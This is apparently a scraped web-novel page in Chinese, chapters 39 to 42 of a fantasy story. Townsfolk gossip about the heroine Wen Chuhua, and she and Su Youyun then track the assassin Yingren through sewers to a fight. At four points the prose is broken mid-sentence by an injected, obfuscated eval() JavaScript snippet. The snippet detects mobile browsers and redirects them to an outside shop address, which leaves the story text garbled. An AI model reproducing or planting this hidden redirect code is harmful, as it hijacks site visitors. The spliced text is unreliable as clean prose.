“不一定。”光头男人又把碗端起来,发现里面没水了,又放下了,“预言是这么说的,但谁能保证是真的?也许她只是碰巧从鬼街出来了,跟什么破笼不破笼没关系。” “碰巧?”瘦男人笑了,笑得很轻,带着一点嘲讽,“鬼街能进不能出,二十年了,你见过谁碰巧出来过?” 光头男人张了张嘴,没找到反驳的话。 年轻人左右看了看,声音又低了一度:“我听说,有人在找她。不止一拨人。” “什么人?” “不知道。有人说想投奔她,有人说想把她抓起来做研究,有人说——” “有人说要把她杀了。”一个声音从隔壁桌传过来。声音不大,但很稳,每个字都咬得很清楚。 几个人同时转过头。隔壁桌坐着一个人,四十来岁,穿着一件深色的夹克,面前的茶碗没动过,像是放凉了。他的脸很普通,是那种扔进人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622946|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群里就找不出来的长相,但他的眼睛——看人的时候不眨,像一只停在树枝上的鸟,你不知道它什么时候会飞走。 “你们在这里讨论有什么用?”那人端起茶碗,喝了一口,皱了皱眉,又放下了,像是嫌茶太苦。“□□在找她,新世界社在找她,源初联邦也在找她。三大势力都盯着的人,你们觉得她能活多久?” 年轻人的脸白了一下。 瘦男人没有退让。“三大势力是三大势力,我们是我们。她要是真的能带我们冲出去,凭什么我们不能去找她?” 那人抬起头,看了瘦男人一眼。那双不眨的眼睛在瘦男人脸上停了两秒,然后移开了。 “没人拦你。”他说,站起来,把几张纸币放在桌上,转身走了。脚步声在茶馆的木地板上笃笃地响了几下,然后被街上的嘈杂声吞没了。 茶馆里重新安静下来。光头男人拿起茶壶,给自己倒了碗水,水是凉的,他也没在意,端起来喝了。 “你们怎么看?”瘦男人看着同桌的两个人,目光在光头和年轻人之间来回移动,等他们开口。 年轻人先说话了。“我想去找她。”他说这话的时候声音还有些抖,但他的眼睛很亮,亮得不像一个在茶馆里喝茶闲聊的人。“我在藤洲待了七年,七年。我不知道外面是什么样子。我出生的时候就在岛上,我没有见过外面的世界。如果她真的能带我们出去——” “如果能。”光头男人打断了他。 “如果能。”年轻人重复了一遍,“我愿意试试。总比在这里等死强。” 光头男人没有再说话。他把碗里的凉水喝完了,站起来,拍了拍裤腿上的灰。 “你们去吧,”他说,“我不去。我老了,折腾不动了。但我祝你们好运。” 他走了。脚步声在茶馆的木地板上笃笃笃地响了几下,越来越远,最后被街上的嘈杂声吞没了。 瘦男人和年轻人还坐在桌边,谁都没有动。 年轻人低着头,盯着自己面前那碗已经凉透了的茶。茶叶梗浮在水面上,沉不下去。他把那根茶叶梗捞起来,放在桌上,用手指拨了两下。 “你觉得她会在哪?”他问。 瘦男人没有回答。他靠在椅背上,目光落在茶馆门口那条灰扑扑的街道上。阳光从云层后面透出来,照在路面上,把那些坑坑洼洼的水坑照得像一面面碎掉的镜子。 “不知道。”他说,“但总有人会找到她的。” 温初花刚从鬼街出来,正在某个地方恢复她的能力,而她不知道的是——整个藤洲岛都在找她。 有人要杀她,有人要抓她,有人要研究她,有人要投奔她。而她自己,只知道每天在地下训练室里吞灯管里的电流。 苏游云站在地下三层的走廊里,手里拿着传信器。屏幕上有一条新消息,发送者是于昇。 “预言的事,已经传遍了。三大势力都在行动。白洛明加快了影刃的部署。林生宸派出了第二批人。余无清没有动静。” 苏游云把传信器收进口袋,转身走回训练室。 他推开门的时,温初花正在吞第七盏灯。 白光从她的指尖亮起,照亮了她的脸。她闭着眼睛,嘴角带着一点笑意,像一个在黑暗中独自玩耍的孩子。 苏游云没有告诉她外面的消息。不是时候。等她把这盏灯吞完。 40. 主动出击 救赎会的据点是一栋三层的旧楼,一楼是五金店的门面,二楼是仓库,三楼住人。于昇把这里伪装得很好,门面里堆满了生锈的铁管和落灰的齿轮,看起来像一家快要倒闭的铺子,没人会多看一眼。 苏游云坐在二楼的窗边,窗帘拉了一半,露出外面灰蒙蒙的天。于昇站在他对面,背靠着货架,手里攥着一个传信器,指节发白。 “三十七个人。”于昇的声音很低,每个字都咬得很用力,“那个据点的人全部死了。一个活口都没有。他还在墙上留了一行字——‘交出温初花,否则下一个就是你。’” 苏游云没有说话。他的目光落在窗外,落在远处那道灰蒙蒙的天际线上。他的表情没有变,但他的手指——搁在膝盖上的那只右手——微微蜷了一下。 “影刃知道她在哪?”苏游云问。 “不知道。”于昇把传信器放在货架上,“但他知道她是从鬼街出来的,知道她跟我们救赎会有联系。他屠了那个据点,就是一个示威——‘我知道你们是谁,我知道你们在哪,我知道你们在帮她。交出她,不然我就一个个杀过去。’” 苏游云沉默了片刻。“白洛明给他下的命令是什么?” “杀她。”于昇说,“活要见人,死要见尸。影刃从来不留活口。” 苏游云把目光从窗外收回来,落在于昇脸上。他的眼神没有变,还是那副没什么表情的样子,但他的瞳孔——那双在灯光下总是比平时大一圈的瞳孔——缩了一下。 “不要告诉她。”苏游云说。 于昇愣了一下。“什么?” “她现在的能力正在恢复,每天都在进步。如果告诉她这件事,她会分心。”苏游云的声音不大,但每个字都说得很清楚,“她现在需要的是专注,不是焦虑。” 于昇盯着他看了两秒,然后笑了。“你打算一直瞒着她?” “瞒到不需要瞒为止。” 于昇靠在货架上,两只手臂交叠在胸前,看着苏游云。他的目光里有一种说不清道不明的东西,像是审视,又像是担忧。 “影刃的能力是用缚灵粒子压制异人的能力。这种能力太逆天了——他要杀一个异人,那个异人就变成普通人了。刀砍在他身上没有用,火烧在他身上没有用,冰冻在他身上没有用。他不需要什么高明的招式,只需要调用缚灵粒子系统,然后像杀普通人一样杀死对方。” 苏游云从椅子上站起来,走到窗边,把窗帘又拉开了一点。阳光从云层的缝隙里漏下来,照在他的脸上,他眯了眯眼。 “他调用缚灵粒子系统,需要一个终端。那种终端不可能随身携带,要么太重太大,要么需要固定的信号接收点。所以——”他转过身,看着于昇,“他身后有人。有人在远处操作终端,给他提供缚灵粒子的压制。而他本人,只是一个接收者。” 于昇的眉头皱了一下。“你的意思是——” “我的意思是,影刃本人不一定能压制异人的能力。压制异人的是缚灵粒子系统,他只是那个系统的枪口。扣动扳机的人在后面。” 于昇沉默了一会儿,把这话消化完了。然后他站直了身子,从货架上拿起传信器,在手里掂了掂。 “所以你能找到他。” “能。”苏游云说,“只要他靠近到一定距离以内,我就能感知到他的能量特征——如果他身上有接收终端的话。终端会发出特定的能量波动,跟我之前感知到的缚灵粒子系统的信号频率一致。那种频率很特别,只要出现过一次,我就不会认错。” 于昇把传信器攥在手心里,攥了攥,又松开。“你的意思是,与其在这里等他找上门,不如主动出击。找到影刃的藏身处,在他动手之前先解决他。” “对。” 于昇看了他一会儿,然后点了点头。他没有说“好”或者“行”,但他点头的动作已经够了。 温初花站在门口,没有敲门。 她本来是想来找苏游云讨论训练的事情。今天她吞了第八盏灯,比昨天又多了一盏,她想告诉他。但她走到门口的时候,听到了里面的对话。她没有推门进去,就那么站在那里,听着。 “影刃屠了一个救赎会的据点。三十七个人,全死了。墙上留了血字——‘交出温初花,否则下一个就是你。’” “不要告诉她。” “瞒到不需要瞒为止。” 温初花把手从门把手上放了下来。她在门口站了几秒,然后推门进去了。 门开的时候,苏游云和于昇同时转过头来。于昇的表情僵了一下,像是被人撞见了不该被撞见的事。苏游云的表情没有变,但他的眼睛——在那双没什么表情的眼睛后面,有东西闪了一下。 “我都听到了。”温初花说,她走进屋里,在货架旁边站定,胳膊交叉在胸前,看着苏游云,“影刃屠了你们一个据点。三十七个人因我而死。你不想告诉我。” 苏游云看着她,没有说话。 温初花看了他一会儿,然后把目光移开,落在于昇身上。“你们刚才说,要去找影刃。” 于昇张了张嘴,又闭上了。他看了一眼苏游云,像是在等他的反应。苏游云没有反应。 “我也去。”温初花说。 苏游云的眉毛终于动了一下。他的眉尾微微抬了抬,像是想要说什么,但在说出口之前又压了回去,变成了一声从鼻子里呼出来的气,很轻,听不出情绪。 “这是陷阱。”苏游云说,“他屠那个据点,就是要你主动现身。” 温初花看着他,脸上没有愤怒,没有恐惧,没有那种被激怒后的冲动。她的表情很平,平得像一面镜子,你往里面看,看到的是她自己——那个从鬼街杀出来的、在巷战里被人用石头砸破额头也没有后退的、在地下训练室里一盏一盏吞灯的女人。 “我知道。”她说。 苏游云盯着她的眼睛看了两秒。“那你还要去?” 温初花往前走了一步。她跟他的距离很近,近到她能看到他的睫毛在灯光下的影子。 “如果我不去,以后谁还敢跟我?”她的声音不大,但每一个字都像钉子一样钉进了空气里,钉进了苏游云的耳朵里,钉进了于昇的耳朵里,“你是救赎会的人,你应该明白——在藤洲,没有威望的人,什么都不是。我的名字已经传遍了全岛。所有人都在看着我,看我会做什么,看我会躲还是会站。如果我今天躲了,明天就不会有人信我。后天就不会有人跟着我。大后天——”她顿了一下,“我就又回到了鬼街里的那个人。” 苏游云没有说话。他看着她,看了很久,久到于昇在旁边尴尬地清了清嗓子,久到楼下五金店里传来一声铁管落地的脆响。他的目光在她的脸上慢慢地走了一遍,从她的眉骨到她的颧骨,从她的鼻梁到她的嘴唇,最后落在她的眼睛里。 “行。”他说。 于昇松了一口气。他把传信器塞进口袋,走到两个人中间,看了看左边,又看了看右边。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628149|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你们打算什么时候出发?” 温初花看了苏游云一眼。 “今晚。”苏游云说。 于昇点了点头。“我去准备车和装备。你们两个——”他指了指苏游云,又指了指温初花,“别死了。” 他走了。脚步声在楼梯上笃笃笃地响了几下,然后被楼下的嘈杂声淹没了。温初花站在窗边,看着于昇的背影消失在街角,然后转过身,看着苏游云。 “你不高兴。”她说。 苏游云靠在货架上,两只手插在裤兜里,低头看着自己的鞋尖。“我是在想——”他抬起头,看着她的眼睛,“你刚才说‘没有威望的人什么都不是’。这句话是谁教你的?” 温初花愣了一下。她张了张嘴,想说“没人教我”,但话到嘴边又停住了。她仔细想了想,这句话好像从来没有人对她说过,也没有人在她面前提过。它就是自己长出来的。从鬼街的巷战里,从老周的铁匠铺里,从方敏和小六他们跟着她冲出拱门的那一刻里,从那些在茶馆里讨论她名字的人的声音里。她就是在那里学会了这句话——在藤洲,没有威望的人,什么都不是。 “没人教我,”她说,“我自己想的。” 苏游云看着她,嘴角微微动了一下。不是笑,是一种——你种了一颗种子,过了一周去看,发现它已经发芽了,而且长得很直——的那种表情。他什么也没有说,只是看着她。目光在她脸上停了一会儿,然后移开了,落在那扇灰蒙蒙的窗户上。 窗外的天色已经开始暗下来了。藤洲岛的黄昏来得很快,太阳一落,天就黑了,像有人拉上了一块灰色的幕布。街上的路灯亮了,昏黄的,隔很远才有一盏,照在坑坑洼洼的路面上,把人的影子拉得很长。 温初花走到窗边,把手伸进口袋,摸了摸那把她带出来的匕首,刀柄上刻着“花”字,老周的手艺,握在手里刚刚好。她又摸了摸黑匣子——巴掌大,方方正正,贴着她的胸口,微微发烫。 “影刃会用什么武器?”她问。 苏游云走到她旁边,站在窗边,看着外面那条灰扑扑的街道。她的影子和他的影子在墙上叠在一起,分不清哪条是谁的。 “不知道。没人见过他用武器。所有见过他的人,都死了。” “那你觉得他会用什么?” 苏游云沉默了一瞬,说了一句话,声音很轻,像是在自言自语。“他不需要武器。他就是武器。” 温初花把匕首从口袋里抽出来,弹开刃口,看了一眼,又收回去。她侧过身,靠在窗台上,隔着玻璃看着外面的街道。路灯把一块光亮投在地上,照着一只走过去的野猫,猫的尾巴翘着,一摇一摇的,很快就消失在了黑暗里。 藤洲岛的夜很长,长到你觉得天永远不会亮。但今晚不一样,今晚她要去找一个人。那个人杀了三十七个不该死的人,为了逼她出来。那她就出来。不是为了证明自己有多厉害,是因为如果她今天不出来,以后就不会有人再信她了。不是因为她能打,是因为她敢站出来。在藤洲这个弱肉强食的地方,别的东西都是假的,只有“你站出来了”这件事是真的。 温初花收回目光,转身看向苏游云。 “走吧。”她说。 苏游云从窗台上撑起来,拍了拍裤腿上的灰,走到门口,把门拉开。走廊里的光从外面照进来,把两个人的影子投在地面上,一长一短,朝着同一个方向。 他没有回头,只是说了一句:“跟紧我。” 41. 找到藏身地 仓库里的血迹已经干了。 三十七具尸体被救赎会的人提前收走了,但地上的痕迹还在——暗红色的,从仓库中央向四周扩散,像一朵巨大的、干涸了的花。 墙上的血字还在,用的是人血,写得端端正正,一笔一划都用力得像是刻进去的:“交出温初花,否则下一个就是你。” 温初花站在仓库门口,没有进去。她看着那行字,又看了看地上的血迹。她没有说话,但她的手指攥紧了门框。 苏游云蹲在仓库中央,把手掌贴在地面上,闭上眼睛。他的能量感知像一根针,从地面往下扎,穿透水泥层、碎石层、泥土层,触到了管道深处一丝极微弱的残留信号。那种频率他以前接触过一次,记住了,像记住了某个人的脚步声,哪怕只听过一遍,也能在人群中分辨出来。 “东南方向。港口地下管道系统。”苏游云站起来,拍了拍手上的灰,“他往那边去了。” 温初花从门框上松开手,转过身,看着东南方向。那边看不到港口,只有灰蒙蒙的屋顶和几根冒烟的烟囱,但她能闻到风里带来的海水腥味。 “走。” 两人穿过三条街,拐进一条堆满垃圾的窄巷,巷子尽头有一口半开的井盖,井盖边缘的铁环上绑着一根绳子,绳子是新绑的,还没被风雨侵蚀过。 苏游云掀开井盖,先下去了。 黑暗比想象中的更浓稠。脚下的地面是湿的,踩上去软塌塌的,像踩在一层腐烂的毯子上。空气里全是铁锈味、泥腥味、还有一股说不清道不明的、像是什么东西在角落里发酵了很久的味道。头顶偶尔有光从检修口的缝隙漏下来,细得像一根针,刺进黑暗里,照出一小片晃动的水面。 温初花跟在苏游云身后,右手握着匕首,左手扶着墙壁。她的呼吸很轻,脚步也很轻,在管道里几乎听不到声音。她在□□做过潜行任务,知道在这种地方说话会回响、脚步声会放大、任何多余的动作都可能暴露位置。她没有问“还有多远”,没有问“你确定是这条路”,只是跟着走。 苏游云在前面走着。他的步伐不快不慢,每一步都踩得很稳。他闭着眼睛——在管道里,他的能量感知比视觉更可靠。前方那条微弱的信号轨迹像一根被拉直的线,牵向港口深处,虽然断断续续,但大方向始终没有变。 走了大约半小时,信号断了。 苏游云停下来,蹲下身子,把手掌贴在地面上。三岔口,三条管道分别通向不同的方向,每条管道都看不出区别——一样的黑暗,一样的潮湿,一样的铁锈味。他感知了几秒,眉头微微皱了一下。 “断了。三条路都没有信号残留。” 温初花在他身后蹲下来,也把手按在地面上,但她的感知力不如苏游云敏锐——她只能感觉到地面是凉的、湿的,别的什么都没有。 “他有帮手?”她问。 “或者他自己有办法屏蔽信号。”苏游云站起来,目光在三条岔口之间来回移动,“地面以下的土壤层还有微量振动。左边那条,往下十米左右,有东西在动。” “人?” “不知道。但至少不是死路。” 两人走了左边那条管道。一百多米后,温初花的脚踩到了一根细线。不是绳子,是金属丝,比头发丝粗不了多少,横在离地面一掌高的位置,两端固定在管道壁上。她的本能反应比脑子快——在踩到的瞬间往侧面扑了出去,后背撞在管道壁上,发出一声闷响。 头顶的水泥板“咔嚓”一声裂开,一大块混凝土砸在她刚才站的位置,碎成几块,溅起一片泥水。 温初花从管道壁上撑起来,拍了拍肩上的灰,脸色不好看,但也没有被吓到。她看了一眼那块砸在地上的水泥板,边缘齐整,像是被人提前切好的。“影刃干的?” 苏游云蹲下来,检查了那根断掉的金属丝。“干得漂亮。手很稳,力道刚好。” “你在夸他?” “我在说实话。”苏游云站起来,“他能提前布置陷阱,说明他知道我们会来。他知道你在追踪他——或者说,他知道有人能通过能量信号找到他。” 温初花把匕首换到左手,右手甩了甩刚才被撞麻的胳膊。“那他为什么不直接跑?把信号切断,换个地方躲着就是了。” 苏游云沉默了一会儿。“因为他想让你来找他。” “他在等我上门。” “对。” 温初花没有再说下去。她把匕首重新握好,绕过地上的碎石和水坑,继续往前走。苏游云跟在她后面,手依然贴着墙壁。 又走了大约二十分钟,管道开始变得复杂起来。岔路越来越多,有的走着走着就断了头,有的绕了一大圈又回到了原地,有的尽头是一堵砖墙,墙上写着模糊的、被水浸泡过很多年的字,看不清是什么。苏游云的眉头越皱越紧——他感知中的那条信号轨迹被一层又一层的干扰裹住了,像一条被缠了无数圈胶带的线,你要把它解开,但每一个结都可能是陷阱,也可能是死路。 温初花走在他旁边,没有催他。 她注意到他偶尔会停下来,在原地转半圈,像是在确认什么东西的方向。他转圈的时候,手指会在墙面上轻轻划一下,像是在标记,又像是在跟这面墙说:我来过这里,这条路走过了。 又过了将近一个小时,苏游云在一面墙前停下了。墙上有一道铁梯,生锈的,锈得看不出原本的颜色,但梯子还结实,连接着上方的另一个井盖。井盖的边缘有一圈光漏下来——不是灯光,是月光。 苏游云把手放在铁梯上,感受了一下。“上面是地面。” “出口?”温初花问。 “嗯。”苏游云抬头看着那圈漏下来的光,“信号在往上走。他的藏身处在上面。” 温初花也抬起头,看着那圈光。月光在黑暗中显得格外亮,像一轮小小的月亮,挂在她头顶不到十米的地方。她没有急着爬上去,先把手里的匕首换了换位置,确认它卡得够紧。 苏游云先爬了上去。铁梯在脚下晃了晃,发出吱呀吱呀的声响,锈屑从梯子上簌簌地往下掉,落在温初花的头发上。她没有拍掉。 苏游云推开井盖,探出头去看了看,然后整个人上去了。他蹲在井盖旁边,探下身来,把手伸给温初花。 她抓住他的手,借力爬了上去。 月光洒在脸上的那一刻,温初花眯了一下眼睛。 她在黑暗中走了太久,眼睛已经适应了那种浓稠的黑色,现在忽然被月光照亮,像有人在她面前打开了一盏灯,光太亮,刺得她眼眶发酸。她眨了眨眼,适应了几秒,才看清楚面前的景象。 这是一个废弃的广场。 很大,方方正正的,比她在藤洲见到的任何一个广场都大。 地面铺着石板,石板上全是裂纹和裂缝,裂缝里长满了野草,草已经枯黄了,在夜风里瑟瑟地响。 广场中央有一座喷泉,喷泉早就干了,池底积着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633617|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层黑水,水里泡着几片枯叶和一只死掉的老鼠。喷泉的雕塑是铁的,锈成了一坨看不出形状的东西,像一团被揉皱了的铁丝。广场四周是倒塌的灯柱和歪斜的长椅,再往外是废弃的楼房,窗户全碎了,黑洞洞的,像一只只没有眼珠的眼睛。 月光照在空荡荡的广场上,把石板上的裂纹照得清清楚楚,像一幅画在黑色纸张上的银色地图。远处传来夜鸟的叫声,又远又闷,像从水底传上来的。 温初花站在井盖旁边,环顾四周。广场很大,很大很大,大到你站在中间会觉得自己很渺小。她能看到广场另一头的建筑物轮廓,能看到那些黑洞洞的窗口里什么都没有,能看到石板上的野草在风里摇摆。 “他在哪?”她问。 苏游云站在她旁边,闭着眼睛。他的能量感知像一张网,从他身边展开,向整个广场扩散。他能感觉到广场是空的——空得像一口被抽干了水的井。但井底有一块石头,石头下面压着什么东西。他的感知往那块石头的方向探去,碰到了—— 碰到了一个人。 那个人的能量场是“空的”。像一口井,井口被盖住了,你看不到下面有什么。但井的周围,有一层极稀薄、极隐蔽的缚灵粒子在流动,像一层看不见的雾,覆盖在广场的每一个角落。 苏游云睁开眼睛,目光落在广场对面的一栋废弃楼房的二楼窗口。 “他在那。” 温初花顺着他的目光看过去。那扇窗口黑洞洞的,什么都看不见,但她能感觉到——有人在看她。隔着整个广场,隔着月光和野草和倒塌的灯柱,有人在看她。那目光不像人的目光,更像一只停在树枝上的鸟,不眨眼,不动,只是看着你,等着你做出下一个动作。 温初花把匕首从腕带上抽出来,握在手里。老周打的那把,刀柄上刻着“花”字,刃口亮得像月光本身。她把它横在身前,刀尖对着那扇黑洞洞的窗口。 “苏游云。” “嗯。” “你能感觉到他身上的缚灵粒子是从哪里来的吗?远处有人给他供能吗?” 苏游云沉默了一瞬,感知力像一根针,刺向那扇窗口。他在寻找——寻找那条连接着那口“空井”和远处的“绳子”。 然后他找到了。不在广场附近,不在港口范围内,在更远的地方,远到他只能模糊地感知到一个大致的距离和方向,但无法精准定位。 “远处有终端。距离很远。他是接收器。”苏游云说,“终端识别到异人的能量特征,就会定向压制。你在他面前是普通人。” 温初花握着匕首,刀尖对着那扇窗口,没有放下。月光照在广场上,照在那些野草上,照在喷泉里那摊黑水上。远处的夜鸟又叫了一声,声音在空旷的广场上荡了两下,被墙吸收了。 “那就让他识别不到我。”她说。 苏游云看了她一眼。 温初花把匕首换到左手,右手伸出来,掌心朝上,五指张开。 “在我吞之前,你后撤到能感知到他的范围之外。你不在,终端就不会识别到你,你就不会被压制。等你确认他周围没有埋伏了,再回来。” 苏游云看着她,没有动。“你自己一个人进去?” “不是一个人。”温初花的嘴角动了一下,“你会回来的。” 苏游云看了她一会儿,然后往后退了十几步,退到了广场边缘的一根倒塌的灯柱后面。他的能量感知依然张着,但他离开了终端的识别范围。 42. 又要打架了 温初花站在广场中央,面对那扇黑洞洞的窗口。 她闭上眼睛,开始吞噬。 白光从她的指尖亮起,像一盏被拧开的灯,照亮了她脚下的石板、石板上那些裂纹和裂缝、裂缝里那些枯黄的野草。 光越来越亮,从指尖蔓延到手掌,从手掌蔓延到手臂,从手臂蔓延到全身。她站在广场中央,像一个发光的人,像一颗从天而降的星星,落在了这片废弃的广场上。 月光在她身边黯淡了。不是月亮暗了,是她的光太亮了,亮到月光都变得像一层薄纱,可有可无。白光从她的身体里涌出来,向四周扩散,像潮水一样漫过广场的石板,漫过喷泉的池底,漫过那些倒塌的灯柱。 她在吞噬——吞噬广场上的光线、温度、空气中的微尘、地面以下的潮湿、甚至风里携带的能量碎片。她把一切都往自己的身体里吸,像一个越来越大的漩涡,所有靠近她的东西都被卷了进去。 她在她的能力到达极限之前,停在了那扇黑洞洞的窗口前。 白光在她身上缓缓地收拢,像潮水退去,露出了底下的沙滩。她的眼睛依然闭着,呼吸很稳,握着匕首的左手垂在身侧。她的右手——空着的那只手——微微张开,像是随时准备再握住什么。 广场恢复了寂静。连风都停了。 苏游云站在灯柱后面,没有动。他的能量感知捕捉到了——温初花站在广场中央,她的能量特征消失了。 终端找不到她了。 她的异能力量被白光裹住了,像一颗被包在纸里的火星,你看不到它的光,但它还在燃烧。影刃的缚灵粒子压制对她失效了。因为他找不到她。 温初花缓缓睁开眼睛。 她看着那扇黑洞洞的窗口。透过窗口,广场这边的月光照进去,照亮了窗框内侧的裂缝和灰尘。灰尘在光柱里飘动,像宇宙中的星尘。 她能感觉到他在看她。 不是用肉眼,是用另一种方式,像是有人在一间漆黑的房间里,隔着墙壁,隔着黑暗,隔着一切你能想象到的距离,用目光穿透了所有的障碍,落在她的身上。 那目光很冷,冷得像冬天河底的石头,没有人碰过,也没有人想碰。她迎着那目光看了回去,没有躲闪。 然后她发现窗口里多了一个影子——比黑暗更深的影子,像是从墙壁里渗出来的,像是原本就在那里,只是之前没有动。她的视线对上了那道影子,隔着整片广场,隔着月光与野草。 这个广场的废弃楼房窗户太多了,多得像一片没有尽头的深林。但温初花的目光穿过整片石板地,穿过那些倒塌的灯柱和歪斜的长椅,穿过广场中央那座干涸的喷泉和黑水里的死老鼠,最后准确地落在了那扇窗户上。 窗户里有个人。不像人。像一道影子。 他站在窗框内侧,没有露出任何特征,只是一团比黑暗更黑的东西。但温初花能感觉到他在呼吸,他的呼吸频率和她的心跳频率形成了某种微妙的共振。 苏游云从灯柱后面走出来,走回了广场中央。他的脚步在寂静中显得格外清晰,一步、两步,停在温初花身后三步远的地方。他没有说话。但他回来了。这就够了。 温初花没有回头看他。她的目光还锁在那扇窗户上。 “他在等我过去。” 苏游云没有回答。 温初花握着匕首,朝那扇窗户的方向迈了一步。 石板在脚下发出轻微的响声,像一颗石子落进了深水里,沉了下去,没有回声。 那扇窗口里的影子动了。 不是朝她动的,是朝窗户内侧的方向动了一下。像一个人往后靠了靠,靠在墙上,换了一个更舒服的姿势等她。那道影子就像一扇门,通往未知的深处。而在那扇门后,白洛明的手正等着握住她的命脉。 她不打算让他握住。 温初花又往前走了一步。 广场上的月光照在她身上,把她的影子拉得很长,朝着那扇窗口的方向延伸——像一条路,像一条线,像一根绷紧了的弦,只等一个音符落下。 而窗内的人握着他的刀,把弦绷到了极限,等着这千载难逢的机会。 他准备的刀只有一把,所以只有一次机会。 月下所有死去的人,都将成为他刀下新的魂。 温初花走进了那栋楼。 门早就没了,只剩一个黑漆漆的门洞,像一张缺了牙的嘴。月光从她身后照进来,把她的影子投在走廊的地面上,拉得很长,长到几乎触到了走廊尽头那面墙。走廊里堆满了碎砖和灰尘,空气中有一股陈年烟尘的味道,呛得嗓子发痒。 她没有停,跨过碎砖,绕过一根倒下的木梁,一步一步地往里走。 走廊尽头是一道楼梯,楼梯拐角处,月光从破窗户漏进来,在地上照出一小片亮光。她踩着那片光上了二楼。 二楼的走廊比一楼宽一些,两侧全是门,有的开着,有的关着,有的只剩门框。她走到第三扇门前面的时候,站住了。 门是开着的,里面是一间很大的屋子,像是以前的什么活动室,空荡荡的,只有墙角堆着几把散架的椅子。屋子另一头有一扇窗户,窗户开着,月光从外面照进来,在地板上铺了一整片银白色。 影刃站在那片月光里。 他看起来大概四十多岁,中等身材,穿着一件深灰色的衣服,不像是刻意穿成这样的,就是那种扔进人群里你绝对不会多看一眼的长相。 他的脸很普通,没有刀疤,没有络腮胡子,没有任何特征。唯一让你注意到他的是他的眼睛——那双眼睛不眨,像一只停在树枝上的鸟,你不知道它什么时候会飞走,也不知道它什么时候会扑下来。 他站在那里,手垂在身侧,没有武器,看不出任何威胁。但温初花感觉到了一股冷意,那股冷意不是从窗外灌进来的风,是从他身上散发出来的。像冬天半夜里有人推开你卧室的门,你还没看到人,就先感觉到了那股凉气。 他看着她走进来。 门在她身后开着,月光跟在她脚后,像一条银白色的尾巴。她在离他大约十步的地方停下来,右手握着匕首,左手垂在身侧。两个人之间隔着十步的距离,隔着地板上那片银白色的月光,隔着从窗外灌进来的夜风。 影刃开口了。他的声音比他的人要有特征一些,低沉,沙哑,像很久没有说话的人忽然开了口,嗓音里带着一股磨砂纸的质感。 “你比我想象的年轻。” 温初花握着匕首,刀尖对着他,没有放下。“你比我想象的废话多。” 影刃的嘴角动了一下。不是笑,是一种——像是一个人在很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637623|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久以前学过怎么笑,但太久没用了,肌肉已经忘了那个动作——的抽搐。他的右手从身侧抬起来,五指张开,然后慢慢地握成了拳头。 温初花往前踏了一步,匕首从下往上划向他的小腹。影刃没有退,他的身体像一条被风吹动的柳枝,往侧面飘了一下,匕首划空。 温初花收势之后紧跟着一个肘击,砸向他的胸口,他抬手挡了一下,手臂和手臂撞在一起,发出一声闷响。那声响不大,但在空荡荡的房间里来回撞了两下,像石头掉进了空井里。 两个人同时退了一步。这一下交手只有两秒,但双方都摸到了一点底细。影刃的力量比她想象的大,大得多,一个中年男人能打出这种力道,说明他不是靠能力吃饭的,是靠杀人吃饭的。温初花的力量也不小,影刃接她那一肘的时候,手臂微微震了一下。 影刃先动了。 他的右拳直取温初花的面门,没有花哨的招式,就是拳,很快,很直,快到她来不及躲。她左手架住他的手腕,身体往右拧,右手的匕首从侧面捅向他的肋下。影刃的身体往后缩了半寸,匕首尖划破了他的衣服,没有伤到皮肉。他的左手从下面掏上来,掌根推在温初花的下巴上,把她推得往后退了两步。 温初花站稳了,甩了甩下巴。那一掌不轻,她的牙齿磕在一起,嘴里有一股淡淡的铁锈味。她吐了一口唾沫,唾沫是红的。 “你不错。”影刃说。 “用不着你夸。”温初花说。 这一次她加快了速度。匕首在她手里像一条银色的鱼,在月光下游走,时而出现在影刃的左侧,时而在他的右侧亮一下。 影刃没有后退,但他的步伐从站着变成了小范围的移动,每一步都踩得很稳,像在冰面上走,不敢快,也不敢停。他的拳头很硬,每一拳都带着风声,砸在温初花的胳膊上、肩膀上、匕首的刀背上,砸得她虎口发麻。但她没有退。 两人在月光中缠斗。 